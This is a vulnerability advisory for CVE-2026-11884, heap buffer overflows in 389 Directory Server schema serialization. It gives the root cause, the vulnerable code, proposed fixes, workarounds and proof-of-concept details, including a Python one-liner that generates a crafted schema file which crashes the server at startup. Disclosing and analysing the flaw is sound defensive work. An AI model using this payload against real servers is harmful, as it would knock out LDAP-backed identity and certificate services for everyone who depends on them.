// Moderate (6.5)
CVE-2026-11884

Heap buffer overflow in schema objectclass serialization

CVE ID
CVE-2026-11884
Product
389-ds-base
Severity
Moderate (6.5)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
CWE
CWE-122
Red Hat CVE
Red Hat CVE page

Summary

Two heap buffer overflow vulnerabilities exist in the 389 Directory Server’s schema serialization code. Both are caused by the same root cause: the oc_superior (parent objectclass name) field is omitted from buffer size calculations but is subsequently written to the buffer via strcat(). An attacker with Directory Manager privileges can crash the LDAP server by creating objectclasses with long names and referencing them via the SUP directive. In replication topologies, a compromised supplier can crash all consumer replicas. Remote code execution is not feasible on x86_64 because the overflow content is restricted to ASCII printable characters. These are variants of CVE-2025-14905 that were not addressed by the original fix.

Variant 1 (read_schema_dse(), Finding 001): Triggered during schema DSE reads (any LDAP search of cn=schema). Overflow threshold: SUP >= 248 bytes (requires 2 attributes with ~3950-char names to force buffer reallocation past the 8192-byte initial sizedbuffer).

Variant 2 (schema_oc_to_string(), Finding 002): Triggered during schema replication comparison. Overflow threshold: SUP >= 62 bytes (lower barrier; uses a tighter 128-byte magic number with no sizedbuffer protection).

Affected Versions

The vulnerable code uses a magic-number-based size calculation pattern that has existed since the functions were created. The CVE-2025-14905 fix (commit 2e424110) modified only schema_attr_enum_callback() and did not touch either read_schema_dse() or schema_oc_to_string().

PackageNVR (latest with CVE-2025-14905 fix)Status
389-ds-base (upstream)3.2.0-dev (HEAD, commit 4112762)Vulnerable (confirmed)
389-ds-base (Fedora 42)389-ds-base-3.1.2-4.fc42Vulnerable (confirmed — crash reproduced on 3.1.4-6.fc42)

Affected Products

ProductVersion389-ds-base versionStatus
389 Directory Server (upstream)All3.2.0-dev (HEAD)Affected
Fedora40-423.0.x-3.1.xAffected
CentOS Stream9, 10Matches upstreamAffected

Architecture Validation

ArchitectureTestedResult
x86_64YESVariant 1: Startup crash (malloc(): invalid size (unsorted)) and remote LDAP crash on 389-ds-base-3.1.4-6.fc42.x86_64. Variant 2: SIGABRT at SUP >= 68 (malloc(): corrupted top size) on Fedora 42 (glibc 2.41).
aarch64YESVariant 2: ASan heap-buffer-overflow confirmed on CentOS Stream 9 (GCC 11.5.0) in Podman container.

Note: The root cause is a missing term in a buffer size calculation — a pure logic bug with no dependence on pointer size, alignment, or endianness. Expected to reproduce identically on all architectures.

Root Cause

Both variants share the same root cause: the oc_superior field is missing from the buffer size calculation but is written to the buffer.

Variant 1: read_schema_dse()

File: ldap/servers/slapd/schema.c:1765-1822 Function: read_schema_dse()

Size calculation (line 1765-1766) — missing oc_superior:

size = 256 + strlen_null_ok(oc->oc_oid) + strlen(oc->oc_name) +
       strlen_null_ok(oc_description) + strcat_extensions(NULL, oc->oc_extensions);

Buffer write (lines 1808-1811) — writes oc_superior:

strcat(psbObjectClasses->buffer, "SUP ");
strcat(psbObjectClasses->buffer, (enquote_sup_oc ? "'" : ""));
strcat(psbObjectClasses->buffer, ((oc->oc_superior && *oc->oc_superior) ? oc->oc_superior : "top"));
strcat(psbObjectClasses->buffer, (enquote_sup_oc ? "'" : ""));

The 256-byte magic number covers fixed formatting keywords. With 2 attributes of ~3950 chars each (to force the sizedbuffer past its 8192-byte initial allocation), the effective headroom for oc_superior is approximately 247 bytes. SUP values >= 248 bytes overflow the buffer.

Variant 2: schema_oc_to_string()

File: ldap/servers/slapd/schema.c:5151-5239 Function: schema_oc_to_string()

Size calculation (lines 5155-5180) — missing oc_superior:

if (oc->oc_oid)   size += strlen(oc->oc_oid);
if (oc->oc_name)  size += strlen(oc->oc_name);
if (oc->oc_desc)  size += strlen(oc->oc_desc);
// ... per-attribute strlen + 3 for MUST and MAY ...
size += strlen(schema_oc_kind_strings_with_spaces[oc->oc_kind]);
size += 128; /* for all keywords: NAME, DESC, SUP... */

Buffer write (lines 5196-5199) — writes oc_superior:

if (oc->oc_superior) {
    strcat(oc_str, " SUP '");
    strcat(oc_str, oc->oc_superior);  // OVERFLOW
    strcat(oc_str, "'");
}

The 128-byte magic number provides only ~62 bytes of headroom for oc_superior after fixed formatting overhead is consumed. SUP values >= 62 bytes overflow the buffer.

Relationship to CVE-2025-14905

CVE-2025-14905 was the same bug class in schema_attr_enum_callback(): alias string lengths were not included in the buffer size calculation. The fix (commit 2e424110) added itemized size calculation including asi_superior_strlen = strlen("SUP ") + strlen_null_ok(asip->asi_superior). This fix was not applied to read_schema_dse() or schema_oc_to_string().

Proposed Fix

Variant 1: read_schema_dse() (line 1765-1766)

// Before:
size = 256 + strlen_null_ok(oc->oc_oid) + strlen(oc->oc_name) +
       strlen_null_ok(oc_description) + strcat_extensions(NULL, oc->oc_extensions);

// After:
size = 256 + strlen_null_ok(oc->oc_oid) + strlen(oc->oc_name) +
       strlen_null_ok(oc_description) + strlen_null_ok(oc->oc_superior) +
       strcat_extensions(NULL, oc->oc_extensions);

Variant 2: schema_oc_to_string() (before size += 128 at line 5180)

// Add before size += 128:
if (oc->oc_superior)
    size += strlen(oc->oc_superior);

Defense-in-depth recommendation: Add a length limit on objectclass names in parse_oc_str() or schema_check_name() (which currently validates character set only, with no length check).

Proof of Concept

PoC source code: CVE-2026-11884 on GitHub

Six PoC files are provided in the poc/ directory:

Variant 1 PoCs

poc/poc_001_read_schema_dse.c — Standalone C replication of read_schema_dse() size calculation and strcat sequence. Compile and run to demonstrate the overflow without a live server.

gcc -fsanitize=address -g -o poc_001 poc/poc_001_read_schema_dse.c
./poc_001

poc/test_001_live.py — Live server injection script for the LDAP ADD path. Connects to a running 389 DS instance and injects crafted schema via ldapmodify to trigger a remote crash.

poc/poc_schema_overflow.c — Additional standalone PoC demonstrating the schema overflow pattern.

Variant 2 PoCs

poc/poc_002_schema_oc_to_string.c — Standalone C replication of schema_oc_to_string() for ASan builds. Demonstrates heap-buffer-overflow at SUP >= 62 bytes.

gcc -fsanitize=address -g -o poc_002 poc/poc_002_schema_oc_to_string.c
./poc_002 62

poc/poc_002_crash.c — Production binary crash PoC replicating schema_list_oc2learn() allocation pattern. Demonstrates SIGABRT at SUP >= 68 bytes on glibc 2.41.

gcc -O2 -o poc_002_crash poc/poc_002_crash.c
./poc_002_crash 68

ASan Trace

poc/asan-trace-002-live.txt — Captured AddressSanitizer trace from live reproduction on CentOS Stream 9.

Manual Reproduction (Schema File Injection)

The simplest reproduction requires no PoC binary. Place the following generated 99user.ldif in /etc/dirsrv/slapd-<instance>/schema/ and restart the server:

python3 -c "
ATTR1 = 'a' * 3950
ATTR2 = 'b' * 3950
SUP   = 'C' * 300
print(f'''dn: cn=schema
attributeTypes: ( 9.9.9.8.11 NAME '{ATTR1}' SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 X-ORIGIN 'user defined' )
attributeTypes: ( 9.9.9.8.12 NAME '{ATTR2}' SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 X-ORIGIN 'user defined' )
objectClasses: ( 9.9.9.9.20 NAME '{SUP}' SUP top STRUCTURAL MUST cn X-ORIGIN 'user defined' )
objectClasses: ( 9.9.9.9.21 NAME 'OverflowOC' SUP {SUP} STRUCTURAL MAY ( {ATTR1} \$ {ATTR2} ) X-ORIGIN 'user defined' )''')
" > /etc/dirsrv/slapd-test/schema/99user.ldif

Expected result: Server crashes during startup with malloc(): invalid size (unsorted). Exact boundary: SUP_LEN=247 OK, SUP_LEN=248 CRASH.

Impact

CVSS 3.1: 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H)

ComponentValueJustification
AVNetworkTriggered via LDAP protocol (ports 389/636) — schema modification, schema read, or replication
ACLowDeterministic; attacker controls schema content. No race conditions or guessing required.
PRHighRequires Directory Manager (LDAP path) or replication agreement (replication path).
UINoneSchema read (Variant 1) and replication (Variant 2) are automatic — no user interaction required
SUnchangedImpact is limited to the LDAP server process
CNoneNo read primitive. Overflow content is ASCII-only (byte range 0x20-0x7A) and cannot construct valid x86_64 pointers.
IHighOverflow corrupts heap data during schema serialization (Variant 1) and schema replication metadata (Variant 2). Corrupted schema output can affect all LDAP clients reading cn=schema.
AHighDeterministic crash: malloc(): invalid size (unsorted) / malloc(): corrupted top size on glibc 2.41. Server dies and must be restarted. Variant 1 startup crash prevents server from starting until malicious schema is removed.

Exploitability Analysis

The overflow content is restricted to ASCII printable characters ([A-Za-z0-9 '()$.-_]). On x86_64 (all currently shipped platforms), any 8-byte value composed of ASCII bytes is a minimum of 0x2020202020202020, which is far above the valid userspace ceiling of 0x00007FFFFFFFFFFF. Corrupted pointers dereference to unmapped memory, resulting in SIGSEGV (DoS), not controlled redirection. Remote code execution via these overflows alone is not feasible on x86_64.

On 32-bit platforms (i686), ASCII bytes form valid userspace addresses and RCE would theoretically be feasible. However, 389-ds-base has not shipped on i686 since RHEL 7.

Blast Radius

389-ds-base is the LDAP backend for multiple products and services:

Dependent ProductRelationshipImpact
IdM / FreeIPA389-ds-base is the core LDAP backendA crash in 389-ds-base takes down all IdM services (Kerberos KDC depends on LDAP for principal lookup, SSSD depends on LDAP for user/group resolution). All domain-joined hosts lose authentication until the server restarts.
Dogtag Certificate System389-ds-base is a mandatory backend dependencyA crash takes down the CA, KRA, OCSP, TKS, and TPS subsystems. Certificate issuance and revocation checking stop.
Directory ServerIS 389-ds-base (with DS-specific configuration)Direct impact — the product IS the vulnerable component.
IdM clients (SSSD)Depend on 389-ds-base server for identity dataClients lose identity resolution (user lookups, group membership, sudo rules) when the server crashes. Cached data provides temporary mitigation.

In a FreeIPA/IdM deployment, a Directory Manager who crashes the LDAP server effectively takes down the entire identity domain. In multi-master replication topologies, Variant 2 (replication-triggered crash) can cascade across all replicas if a compromised supplier pushes malicious schema.

Workaround

No configuration knob exists to enforce a length limit on objectclass names or SUP values. The following operational controls reduce exposure:

  1. Restrict Directory Manager access: Audit and restrict cn=Directory Manager credentials. Use ACI-based administration where possible.
  2. Audit replication agreements: Ensure all replication partners are trusted. A compromised replica can inject malicious schema via the schema_replace_objectclasses replication path, bypassing all validation in add_oc_internal().
  3. Monitor schema modifications: Enable the audit log (nsslapd-auditlog: on) and monitor for cn=schema modifications with unusually long objectclass names or SUP values:
    ldapsearch -x -H ldap://localhost -D "cn=Directory Manager" -W \
      -b "cn=schema" -s base objectclasses | grep -i "SUP '"
  4. Network segmentation: Restrict LDAP replication traffic to trusted networks. Ensure replication ports (389/636) are not exposed to untrusted networks.

Comparable CVEs

CVEProductBug ClassCVSSComparison
CVE-2025-14905389-ds-baseHeap overflow in schema_attr_enum_callback (alias lengths)7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)Same root cause pattern. Rated 7.2 with C:H. This advisory removes C:H due to ASCII charset constraint, giving 6.5.
CVE-2024-1062389-ds-baseHeap overflow in auditlog.c5.5 (AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H)Different function, same product. Lower CVSS due to AV:L and I:L.

Timeline

DateEvent
2026-04-14Discovered during 389-ds-base security assessment
2026-04-15Reported to vendor
TBDPatch released
TBDPublic disclosure

References

Credits

Discovered by Ian Murphy